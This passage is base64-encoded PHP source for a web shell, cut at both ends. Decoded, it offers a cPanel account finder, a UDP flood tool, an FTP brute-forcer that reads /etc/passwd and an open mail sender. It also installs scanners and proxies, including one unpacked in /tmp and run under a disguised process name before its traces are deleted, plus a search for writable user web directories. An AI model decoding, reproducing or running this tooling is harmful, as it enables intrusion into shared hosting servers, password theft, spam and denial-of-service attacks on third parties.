HRtbC8iOw0KCQkJcmVhZF9kaXIoJHBhdGgsJHVzZXIpOw0KCX0NCgkNCgllY2hvICJcblsrXSBEb25lXG4iOw0KCQ0KCWVjaG8gIjwvdGV4dGFyZWE+PGJyPiI7DQoJfWVsc2UNCgllY2hvICc8Y2VudGVyPkFyZSB5b3Ugc3VyZSB5b3Ugd291bGQgbGlrZSB0byBzZWFyY2ggZm9yIGNQYW5lbCBhY2NvdW50cyBvbiB0aGlzIHdlYnNpdGUvc2VydmVyPzxicj5QbGVhc2Ugbm90ZSB0aGlzIG1heSB0YWtlIGEgbG9uZyB0aW1lIHRvIGV4ZWN1dGUgZGVwZW5kaW5nIG9uIHRoZSB3ZWJzaXRlL3NlcnZlciBpdCBpcyBydW4gb24uPGJyPjxicj48YSBocmVmPSInLiRzdXJsLid4PWNwYW5lbCZnbz1nbyI+WWVzPC9hPiB8fCA8YSBocmVmPSInLiRzdXJsLiciPk5vPC9hPjwvY2VudGVyPic7DQp9DQoNCmlmICgkeCA9PSAnZmknKXsNCj8+DQoNCjxiPkluc3RhbGwgTG9jYWwgUkZJL0xGSSBTY2FubmVyPC9iPjxicj4NCjxmb3JtIGFjdGlvbj08P3BocCBlY2hvICRzdXJsOyA/PiBtZXRob2Q9R0VUPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9IngiIHZhbHVlPSJmaSI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iaW5zdGFsbCIgdmFsdWU9Inl1cCI+DQpQYXRoIHRvIGluc3RhbGwgaW46IDxpbnB1dCB0eXBlPXRleHQgbmFtZT0icGF0aCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGQ7ID8+Ij4gKG11c3QgaGF2ZSBmaW5hbCAvKTxicj4NCjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iSW5zdGFsbCI+PC9mb3JtPg0KPD9waHANCgkJaWYgKCRfR0VUWydpbnN0YWxsJ10gPT0gJ3l1cCcpIHsNCgkJCWlmIChpc193cml0YWJsZSgkX0dFVFsncGF0aCddKSkgew0KCQkJCWNmKCRfR0VUWydwYXRoJ10uJ2ZpLnBsJywgJGZpKTsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1ncmVlbj48Yj5maS5wbCB3YXMgY3JlYXRlZCBpbiAnLmh0bWxlbnRpdGllcygkX0dFVFsncGF0aCddKS4nPC9iPjwvZm9udD4nOw0KCQkJCWNobW9kKCRfR0VUWydwYXRoJ10uJy9maS5wbCcsIDA3NzcpOw0KCQkJCWVjaG8gJzxiciAvPlRvIGV4ZWN1dGUsIGJyb3dzZSB0byB0aGUgZGlyZWN0b3J5IHlvdSBpbnN0YWxsZWQgdGhlIHNjYW5uZXIgaW4gYW5kIGV4ZWN1dGUgaXQgZnJvbSB0aGVyZSB1c2luZyBcJ3BlcmwgZmkucGxcJyc7DQoJCQl9ZWxzZXsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1yZWQ+PGI+RGlyZWN0b3J5IGlzIG5vdCB3cml0YWJsZSE8L2I+PGJyPjwvZm9udD4nOw0KCQkJfQ0KCQl9DQp9DQoNCmlmICgkeCA9PSAncGhwcHJveHknKXsNCj8+DQo8Yj5JbnN0YWxsIFBIUCBCYXNlZCBQcm94eTwvYj48YnI+DQoNCjxmb3JtIGFjdGlvbj08P3BocCBlY2hvICRzdXJsOyA/PiBtZXRob2Q9R0VUPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9IngiIHZhbHVlPSJwaHBwcm94eSI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iaW5zdGFsbCIgdmFsdWU9Inl1cCI+DQpQYXRoIHRvIGluc3RhbGwgaW46IDxpbnB1dCB0eXBlPXRleHQgbmFtZT0icGF0aCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGQ7ID8+Ij4gKG11c3QgaGF2ZSBmaW5hbCAvKTxicj4NCjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iSW5zdGFsbCI+PC9mb3JtPg0KPD9waHANCgkJaWYgKCRfR0VUWydpbnN0YWxsJ10gPT0gJ3l1cCcpIHsNCgkJCWlmIChpc193cml0YWJsZSgkX0dFVFsncGF0aCddKSkgew0KCQkJCWNmKCRfR0VUWydwYXRoJ10uJ3Byb3h5LnBocCcsICRwaHBwcm94eSk7DQoJCQkJZWNobyAnPGZvbnQgY29sb3I9Z3JlZW4+PGI+cHJveHkucGhwIHdhcyBjcmVhdGVkIGluICcuaHRtbGVudGl0aWVzKCRfR0VUWydwYXRoJ10pLic8L2I+PC9mb250Pic7DQoJCQkJY2htb2QoJF9HRVRbJ3BhdGgnXS4nL3Byb3h5LnBocCcsIDA3NzcpOw0KCQkJfWVsc2V7DQoJCQkJZWNobyAnPGZvbnQgY29sb3I9cmVkPjxiPkRpcmVjdG9yeSBpcyBub3Qgd3JpdGFibGUhPC9iPjxicj48L2ZvbnQ+JzsNCgkJCX0NCgkJfQ0KfQ0KDQoNCmlmICgkeCA9PSAncGhwdG9vbHMnKXsNCj8+PGNlbnRlcj48P3BocA0KLy9tYWlsZXINCmVjaG8gJzxiPk1haWxlcjwvYj48YnI+DQo8Zm9ybSBhY3Rpb249IicuJHN1cmwuJyIgbWV0aG9kPUdFVD4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InBocHRvb2xzIj4NCg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvIHZhbHVlPXRvPjxicj4NCjxpbnB1dCB0eXBlPXRleHQgbmFtZT1mcm9tIHZhbHVlPWZyb20+PGJyPg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPXN1YmplY3QgdmFsdWU9c3ViamVjdD48YnI+DQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9Ym9keSB2YWx1ZT1ib2R5Pjxicj4NCjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1TdWJtaXQ+PC9mb3JtPic7DQppZiAoaXNzZXQoJF9HRVRbJ3RvJ10pICYmIGlzc2V0KCRfR0VUWydmcm9tJ10pICYmIGlzc2V0KCRfR0VUWydzdWJqZWN0J10pICYmIGlzc2V0KCRfR0VUWydib2R5J10pKSB7DQoJJGhlYWRlcnMgPSAnRnJvbTogJy4kX0dFVFsnZnJvbSddOw0KCW1haWwgKCRfR0VUWyd0byddLCRfR0VUWydzdWJqZWN0J10sJF9HRVRbJ2JvZHknXSwkaGVhZGVycyk7DQoJZWNobyAnRW1haWwgc2VudC4nOw0KfQ0KDQovL3BvcnQgc2Nhbm5lcg0KZWNobyAnPGJyPjxiPlBvcnQgU2Nhbm5lcjwvYj48YnI+JzsNCiRzdGFydCA9IHN0cmlwX3RhZ3MoJF9HRVRbJ3N0YXJ0J10pOw0KJGVuZCA9IHN0cmlwX3RhZ3MoJF9HRVRbJ2VuZCddKTsNCiRob3N0ID0gc3RyaXBfdGFncygkX0dFVFsnaG9zdCddKTsNCg0KaWYoaXNzZXQoJF9HRVRbJ2hvc3QnXSkgJiYgaXNfbnVtZXJpYygkX0dFVFsnZW5kJ10pICYmIGlzX251bWVyaWMoJF9HRVRbJ3N0YXJ0J10pKXsNCmZvcigkaSA9ICRzdGFydDsgJGk8PSRlbmQ7ICRpKyspew0KCSRmcCA9IEBmc29ja29wZW4oJGhvc3QsICRpLCAkZXJybm8sICRlcnJzdHIsIDMpOw0KCWlmKCRmcCl7DQoJCWVjaG8gJ1BvcnQgJy4kaS4nIGlzIDxmb250IGNvbG9yPWdyZWVuPm9wZW48L2ZvbnQ+PGJyPic7DQoJfQ0KCWZsdXNoKCk7DQoJfQ0KfWVsc2V7DQo/Pg0KDQo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJnZXQiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InBocHRvb2xzIj4NCkhvc3Q6PGJyIC8+DQo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIvPjxiciAvPg0KUG9ydCBzdGFydDo8YnIgLz4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzdGFydCIgdmFsdWU9IjAiLz48YnIgLz4NClBvcnQgZW5kOjxiciAvPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImVuZCIgdmFsdWU9IjUwMDAiLz48YnIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTY2FuIFBvcnRzIiAvPg0KPC9mb3JtPg0KPD9waHANCn0NCg0KLy9VRFANCmlmKGlzc2V0KCRfR0VUWydob3N0J10pJiZpc19udW1lcmljKCRfR0VUWyd0aW1lJ10pKXsNCgkkcGFraXRzID0gMDsNCglpZ25vcmVfdXNlcl9hYm9ydChUUlVFKTsNCglzZXRfdGltZV9saW1pdCgwKTsNCgkNCgkkZXhlY190aW1lID0gJF9HRVRbJ3RpbWUnXTsNCgkNCgkkdGltZSA9IHRpbWUoKTsNCgkvL3ByaW50ICJTdGFydGVkOiAiLnRpbWUoJ2g6aTpzJykuIjxicj4iOw0KCSRtYXhfdGltZSA9ICR0aW1lKyRleGVjX3RpbWU7DQoNCgkkaG9zdCA9ICRfR0VUWydob3N0J107DQoJDQoJZm9yKCRpPTA7JGk8NjUwMDA7JGkrKyl7DQoJCQkkb3V0IC49ICdYJzsNCgl9DQoJd2hpbGUoMSl7DQoJJHBha2l0cysrOw0KCQkJaWYodGltZSgpID4gJG1heF90aW1lKXsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQkkcmFuZCA9IHJhbmQoMSw2NTAwMCk7DQoJCQkkZnAgPSBmc29ja29wZW4oJ3VkcDovLycuJGhvc3QsICRyYW5kLCAkZXJybm8sICRlcnJzdHIsIDUpOw0KCQkJaWYoJGZwKXsNCgkJCQkJZndyaXRlKCRmcCwgJG91dCk7DQoJCQkJCWZjbG9zZSgkZnApOw0KCQkJfQ0KCX0NCgllY2hvICI8YnI+PGI+VURQIEZsb29kPC9iPjxicj5Db21wbGV0ZWQgd2l0aCAkcGFraXRzICgiIC4gcm91bmQoKCRwYWtpdHMqNjUpLzEwMjQsIDIpIC4gIiBNQikgcGFja2V0cyBhdmVyYWdpbmcgIi4gcm91bmQoJHBha2l0cy8kZXhlY190aW1lLCAyKSAuICIgcGFja2V0cyBwZXIgc2Vjb25kIFxuIjsNCgllY2hvICc8YnI+PGJyPg0KDQoJCTxmb3JtIGFjdGlvbj0iJy4kc3VybC4nIiBtZXRob2Q9R0VUPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0icGhwdG9vbHMiPg0KCQlIb3N0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdCB2YWx1ZT1sb2NhbGhvc3Q+DQoJCUxlbmd0aCAoc2Vjb25kcyk6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT10aW1lIHZhbHVlPTk5OTk+DQoJCTxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1Hbz48L2Zvcm0+JzsNCn1lbHNleyBlY2hvICc8YnI+PGI+VURQIEZsb29kPC9iPjxicj4NCgkJCTxmb3JtIGFjdGlvbj0/IG1ldGhvZD1HRVQ+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0icGhwdG9vbHMiPg0KDQoJCQlIb3N0OiA8YnI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWhvc3QgdmFsdWU9bG9jYWxob3N0Pjxicj4NCgkJCUxlbmd0aCAoc2Vjb25kcyk6IDxicj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGltZSB2YWx1ZT05OTk5Pjxicj4NCgkJCTxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1Hbz48L2Zvcm0+JzsNCn0NCj8+PC9jZW50ZXI+PD9waHANCn0NCg0KDQoNCmlmICgkeCA9PSAiZnRwcXVpY2ticnV0ZSIpIHsNCmVjaG8gIjxjZW50ZXI+PHRhYmxlPjx0cj48dGQgY2xhc3M9YmFyaGVhZGVyIGNvbHNwYW49Mj4iOw0KZWNobyAiLjogRnRwIFF1aWNrIEJydXRlIDouPC90ZD48L3RyPiI7DQplY2hvICI8dHI+PHRkPiI7DQppZiAoJHdpbikge2VjaG8gIkNvdWxkbid0IHJ1biBvbiBXaW5kb3dzISI7fQ0KZWxzZSB7DQogIGZ1bmN0aW9uIGNhZnRwYnJ1dGVjaGVjaygkaG9zdCwkcG9ydCwkdGltZW91dCwkbG9naW4sJHBhc3MsJHNoLCRmcWJfb25seXdpdGhzaCkgew0KICAgIGlmICgkZnFiX29ubHl3aXRoc2gpIHskVFJVRSA9ICghaW5fYXJyYXkoJHNoLGFycmF5KCIvYmluL0ZBTFNFIiwiL3NiaW4vbm9sb2dpbiIpKSk7fQ0KICAgIGVsc2UgeyRUUlVFID0gVFJVRTt9DQogICAgaWYgKCRUUlVFKSB7DQogICAgICAkc29jayA9IEBmdHBfY29ubmVjdCgkaG9zdCwkcG9ydCwkdGltZW91dCk7DQogICAgICBpZiAoQGZ0cF9sb2dpbigkc29jaywkbG9naW4sJHBhc3MpKSB7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9XCJmdHA6Ly8iLiRsb2dpbi4iOiIuJHBhc3MuIkAiLiRob3N0LiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj48Yj5Db25uZWN0ZWQgdG8gIi4kaG9zdC4iIHdpdGggbG9naW4gXCIiLiRsb2dpbi4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kcGFzcy4iXCI8L2I+PC9hPi48YnI+IjsNCiAgICAgICAgb2JfZmx1c2goKTsNCiAgICAgICAgcmV0dXJuIFRSVUU7DQogICAgICB9DQogICAgfQ0KICB9DQogIGlmICghZW1wdHkoJHN1Ym1pdCkpIHsNCiAgICBpZiAoIWlzX251bWVyaWMoJGZxYl9sZW5naHQpKSB7JGZxYl9sZW5naHQgPSAkbml4cHdkcGVycGFnZTt9DQogICAgJGZwID0gZm9wZW4oIi9ldGMvcGFzc3dkIiwiciIpOw0KICAgIGlmICghJGZwKSB7ZWNobyAiQ2FuJ3QgZ2V0IC9ldGMvcGFzc3dkIGZvciBwYXNzd29yZC1saXN0LiI7fQ0KICAgIGVsc2Ugew0KICAgICAgaWYgKCRmcWJfbG9nZ2luZykgew0KICAgICAgICBpZiAoJGZxYl9sb2dmaWxlKSB7JGZxYl9sb2dmcCA9IGZvcGVuKCRmcWJfbG9nZmlsZSwidyIpO30NCiAgICAgICAgZWxzZSB7JGZxYl9sb2dmcCA9IEZBTFNFO30NCiAgICAgICAgJGZxYl9sb2cgPSAiRlRQIFF1aWNrIEJydXRlIChmeDApIHN0YXJ0ZWQgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuXHJcbiI7DQogICAgICAgIGlmICgkZnFiX2xvZ2ZpbGUpIHtmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxzdHJsZW4oJGZxYl9sb2cpKTt9DQogICAgICB9DQogICAgICBvYl9mbHVzaCgpOw0KICAgICAgJGkgPSAkc3VjY2VzcyA9IDA7DQogICAgICAkZnRwcXVpY2tfc3QgPSBnZXRtaWNyb3RpbWUoKTsNCiAgICAgIHdoaWxlKCFmZW9mKCRmcCkpIHsNCiAgICAgICAgJHN0ciA9IGV4cGxvZGUoIjoiLGZnZXRzKCRmcCwyMDQ4KSk7DQogICAgICAgIGlmIChjYWZ0cGJydXRlY2hlY2soImxvY2FsaG9zdCIsMjEsMSwkc3RyWzBdLCRzdHJbMF0sJHN0cls2XSwkZnFiX29ubHl3aXRoc2gpKSB7DQogICAgICAgICAgZWNobyAiPGI+Q29ubmVjdGVkIHRvICIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIgd2l0aCBsb2dpbiBcIiIuJHN0clswXS4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kc3RyWzBdLiJcIjwvYj48YnI+IjsNCiAgICAgICAgICAkZnFiX2xvZyAuPSAiQ29ubmVjdGVkIHRvICIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIgd2l0aCBsb2dpbiBcIiIuJHN0clswXS4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kc3RyWzBdLiJcIiwgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuIjsNCiAgICAgICAgICBpZiAoJGZxYl9sb2dmcCkge2ZzZWVrKCRmcWJfbG9nZnAsMCk7IGZ3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30NCiAgICAgICAgICAkc3VjY2VzcysrOw0KICAgICAgICAgIG9iX2ZsdXNoKCk7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRpID4gJGZxYl9sZW5naHQpIHticmVhazt9DQogICAgICAgICRpKys7DQogICAgICB9DQogICAgICBpZiAoJHN1Y2Nlc3MgPT0gMCkge2VjaG8gIk5vIHN1Y2Nlc3MuIGNvbm5lY3Rpb25zISI7ICRmcWJfbG9nIC49ICJObyBzdWNjZXNzLiBjb25uZWN0aW9ucyFcclxuIjt9DQogICAgICAkZnRwcXVpY2tfdCA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRmdHBxdWlja19zdCw0KTsNCiAgICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGI+RG9uZSE8L2I+PGJyPlRvdGFsIHRpbWUgKHNlY3MuKTogIi4kZnRwcXVpY2tfdC4iPGJyPlRvdGFsIGNvbm5lY3Rpb25zOiAiLiRpLiI8YnI+U3VjY2Vzcy46IDxmb250IGNvbG9yPWdyZWVuPjxiPiIuJHN1Y2Nlc3MuIjwvYj48L2ZvbnQ+PGJyPlVuc3VjY2Vzcy46Ii4oJGktJHN1Y2Nlc3MpLiI8L2I+PGJyPkNvbm5lY3RzIHBlciBzZWNvbmQ6ICIucm91bmQoJGkvJGZ0cHF1aWNrX3QsMikuIjxicj4iOw0KICAgICAgJGZxYl9sb2cgLj0gIlxyXG4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuRG9uZSFcclxuVG90YWwgdGltZSAoc2Vjcy4pOiAiLiRmdHBxdWlja190LiJcclxuVG90YWwgY29ubmVjdGlvbnM6ICIuJGkuIlxyXG5TdWNjZXNzLjogIi4kc3VjY2Vzcy4iXHJcblVuc3VjY2Vzcy46Ii4oJGktJHN1Y2Nlc3MpLiJcclxuQ29ubmVjdHMgcGVyIHNlY29uZDogIi5yb3VuZCgkaS8kZnRwcXVpY2tfdCwyKS4iXHJcbiI7DQogICAgICBpZiAoJGZxYl9sb2dmcCkge2ZzZWVrKCRmcWJfbG9nZnAsMCk7IGZ3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30NCiAgICAgIGlmICgkZnFiX2xvZ2VtYWlsKSB7QG1haWwoJGZxYl9sb2dlbWFpbCwiZngwIHJlcG9ydCIsJGZxYl9sb2cpO30NCiAgICAgIGZjbG9zZSgkZnFiX2xvZ2ZwKTsNCiAgICB9DQogIH0NCiAgZWxzZSB7DQogICAgJGxvZ2ZpbGUgPSAkdG1wZGlyX2xvZ3MuImNhX2Z0cHF1aWNrYnJ1dGVfIi5kYXRlKCJkLm0uWV9IX2lfcyIpLiIubG9nIjsNCiAgICAkbG9nZmlsZSA9IHN0cl9yZXBsYWNlKCIvLyIsRElSRUNUT1JZX1NFUEFSQVRPUiwkbG9nZmlsZSk7DQogICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT1cImZ0cHF1aWNrYnJ1dGVcIj4iLg0KICAgICAgICAgIlJlYWQgZmlyc3Q6PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPVwiZnFiX2xlbmdodFwiIHZhbHVlPVwiIi4kbml4cHdkcGVycGFnZS4iXCI+PC90ZD48L3RyPiIuDQogICAgICAgICAiPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImZxYl9vbmx5d2l0aHNoXCIgdmFsdWU9XCIxXCI+IFVzZXJzIG9ubHkgd2l0aCBzaGVsbDwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJmcWJfbG9nZ2luZ1wiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+TG9nZ2luZzwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+TG9nZ2luZyB0byBmaWxlOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmcWJfbG9nZmlsZVwiIHZhbHVlPVwiIi4kbG9nZmlsZS4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkbG9nZmlsZSkrMiooc3RybGVuKCRsb2dmaWxlKS8xMCkpLiJcIj48L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPkxvZ2dpbmcgdG8gZS1tYWlsOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmcWJfbG9nZW1haWxcIiB2YWx1ZT1cIiIuJGxvZ19lbWFpbC4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkbG9nZW1haWwpKzIqKHN0cmxlbigkbG9nZW1haWwpLzEwKSkuIlwiPjwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQgY29sc3Bhbj0yPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIkJydXRlXCI+PC9mb3JtPiI7DQogIH0NCiAgZWNobyAiPC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+IjsNCn0NCn0NCmlmICgkeCA9PSAiZCIpIHsNCmlmICghaXNfZGlyKCRkKSkgeyBlY2hvICI8Y2VudGVyPjxiPiRkIGlzIGEgbm90IGEgRGlyZWN0b3J5ITwvYj48L2NlbnRlcj4iOyB9DQplbHNlIHsNCiAgZWNobyAiPGI+RGlyZWN0b3J5IGluZm9ybWF0aW9uOjwvYj48dGFibGUgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPiI7DQogIGlmICghJHdpbikgew0KICAgZWNobyAiPHRyPjx0ZD48Yj5Pd25lci9Hcm91cDwvYj48L3RkPjx0ZD4gIjsNCiAgICRvdyA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkZCkpOw0KICAgJGdyID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRkKSk7DQogICAkcm93W10gPSAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCRkKSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJGQpKTsNCiAgfQ0KICBlY2hvICI8dHI+PHRkPjxiPlBlcm1zPC9iPjwvdGQ+PHRkPjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWNobW9kJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj4iLnZpZXdfcGVybXNfY29sb3IoJGQpLiI8L2I+PC9hPjx0cj48dGQ+PGI+Q3JlYXRlIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVjdGltZSgkZCkpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5BY2Nlc3MgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWF0aW1lKCRkKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPk1PRElGWSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlbXRpbWUoJGQpKS4iPC90ZD48L3RyPjwvdGFibGU+IjsNCn0NCn0NCg0KDQoNCmlmICgkeCA9PSAncHJveHknKSB7DQogaWYgKCRfR0VUWydpcGlzayddID09ICd5dXAnKSB7DQogICBjZigiL3RtcC9oYW50dS50Z3oiLCRwcm94eV9zaGl0KTsNCiAgIGV4KCJjZCAvdG1wO3RhciAtenh2ZiBoYW50dS50Z3oiKTsNCiAgIGV4KCJjZCAvdG1wO2NkIC5zZXRhbjtjaG1vZCA3NzcgeGgiKTsNCiAgIGV4KCJjZCAvdG1wO2NkIC5zZXRhbjtjaG1vZCA3NzcgaHR0cGQiKTsNCiAgIGV4KCJjZCAvdG1wO2NkIC5zZXRhbjsuL3hoIC1zIFtrbW9kXSAuL2h0dHBkIHN0YXJ0Iik7DQogICBjaGVja3Byb3h5aG9zdCgpOw0KICAgJG1zZyA9ICRfUE9TVFsncHJveHlob3N0bXNnJ107DQogICBlY2hvKCIkbXNnIik7DQogICB1bmxpbmsoIi90bXAvaGFudHUudGd6Iik7DQogICBleCgiY2QgL3RtcDsgcm0gLXIgLnNldGFuIik7DQogfWVsc2UNCiAgZWNobyAnPGNlbnRlcj5BcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gaW5zdGFsbCBhbiBJUDpQb3J0IHByb3h5IG9uIHRoaXMgd2Vic2l0ZS9zZXJ2ZXI/PGJyIC8+UGxlYXNlIG5vdGUsIHNvbWUgc2VydmVycyB3aXRoIGZpcmV3YWxscyBvciBvdGhlciBzZWN1cml0eSBmZWF0dXJlcyBtYXkgbm90IGJlIGNvbXBhdGlibGUgd2l0aCB0aGlzLCBldmVuIGlmIHRoZSBwcm94eSBhcHBlYXJzIHRvIGJlIGluc3RhbGxlZC48YnIgLz48YnIgLz48Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPSInLiRzdXJsLicmeD1wcm94eSZpcGlzaz15dXAiPlllczwvYT48L2ZvbnQ+PC9iPiB8fCA8Yj48Zm9udCBjb2xvcj1yZWQ+PGEgaHJlZj0iJy4kc3VybC4nIj5ObzwvYT48L2ZvbnQ+PC9iPjwvY2VudGVyPic7DQp9DQoNCg0KDQppZiAoJHggPT0gJ2ZpbmR3cicpIHsNCg0KJGNvdW50PTA7DQpzZXRfdGltZV9saW1pdCgwKTsNCkAkcGFzc3dkPWZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsNCmlmICghJHBhc3N3ZCkgew0KICAgZWNobyAiWy1dIE5vIEFjY2VzcyB0byAvZXRjL3Bhc3N3ZFxuXHIiOw0KICAgZXhpdDsNCn0NCiRwYXRoX3RvX3B1YmxpYz1hcnJheSgpOw0KDQplY2hvICI8aHRtbD5cblxyIjsNCg0Kd2hpbGUoIWZlb2YoJHBhc3N3ZCkpIHsNCiAgJHN0cj1mZ2V0cygkcGFzc3dkKTsNCiAgICAkcG9zPXN0cnBvcygkc3RyLCI6Iik7DQogICAgJHVzZXJuYW1lPXN1YnN0cigkc3RyLDAsJHBvcyk7DQogICAgJGRpcno9Ii9ob21lLyR1c2VybmFtZS9wdWJsaWNfaHRtbC8iOw0KICAgIGlmICgoJHVzZXJuYW1lIT0iIikpIHsNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKCRkaXJ6KSkgew0KICAgICAgICAgYXJyYXlfcHVzaCgkcGF0aF90b19wdWJsaWMsJGRpcnopOw0KICAgICAgICAgaWYgKGlzX3dyaXRlYWJsZSgkZGlyeikpIHsNCiAgICAgICAgICAgICRjb3VudCsrOw0KICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPls8L2ZvbnQ+PGZvbnQgY29sb3I9d2hpdGU+UjwvZm9udD48Zm9udCBjb2xvcj1ncmVlbj5XPC9mb250Pjxmb250IGNvbG9yPXJlZD5dPC9mb250PiAiIC4gJGRpcnogLiAiPGJyPlxuXHIiOw0KICAgICAgICAgfQ0KICAgICAgICAgZWxzZSBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+WzwvZm9udD48Zm9udCBjb2xvcj13aGl0ZT5SPC9mb250Pjxmb250IGNvbG9yPXJlZD5dPC9mb250PiAiIC4gJGRpcnogLiAiPGJyPlxuXHIiOw0KICAgICAgICB9DQogICAgfQ0KfQ0KZWNobyAiWytdIEZvdW5kICIgLiBzaXplb2YoJHBhdGhfdG9fcHVibGljKSAuICIgcmVhZGFibGUgcHVibGljX2h0bWwgZGlyZWN0b3JpZXMuPGJyPjxicj5cblxyXG5cciI7DQoNCmlmIChzaXplb2YoJHBhdGhfdG9fcHVibGljKSAhPSAnMCcpIHsNCiAgIGZvcmVhY2ggKCRwYXRoX3RvX3B1YmxpYyBhcyAkcGF0aCkgew0KICAgICAgICAgICByZWFkX2RpcigkcGF0aCk7DQogICB9DQogICANCiAgIGVjaG8gIlsrXSBGb3VuZCAiIC4gJGNvdW50IC4gIiB3cml0YWJsZSBkaXJlY3Rvcmllcy5cblxyIjsNCiAgIGVjaG8gIjwvaHRtbD4iOw0KfQ0KDQpmdW5jdGlvbiByZWFkX2RpcigkcGF0aCkgew0KICAgZ2xvYmFsICRjb3VudDsNCiAgIGlmICgkaGFuZGxlID0gb3BlbmRpcigkcGF0aCkpIHsNCiAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkpIHsNCiAgICAgICAgICRkcj0iJHBhdGgkZmlsZS8iOw0KICAgICAgICAgaWYgKCgkZmlsZSE9Jy4nKSBhbmQgKCRmaWxlIT0nLi4nKSBhbmQgaXNf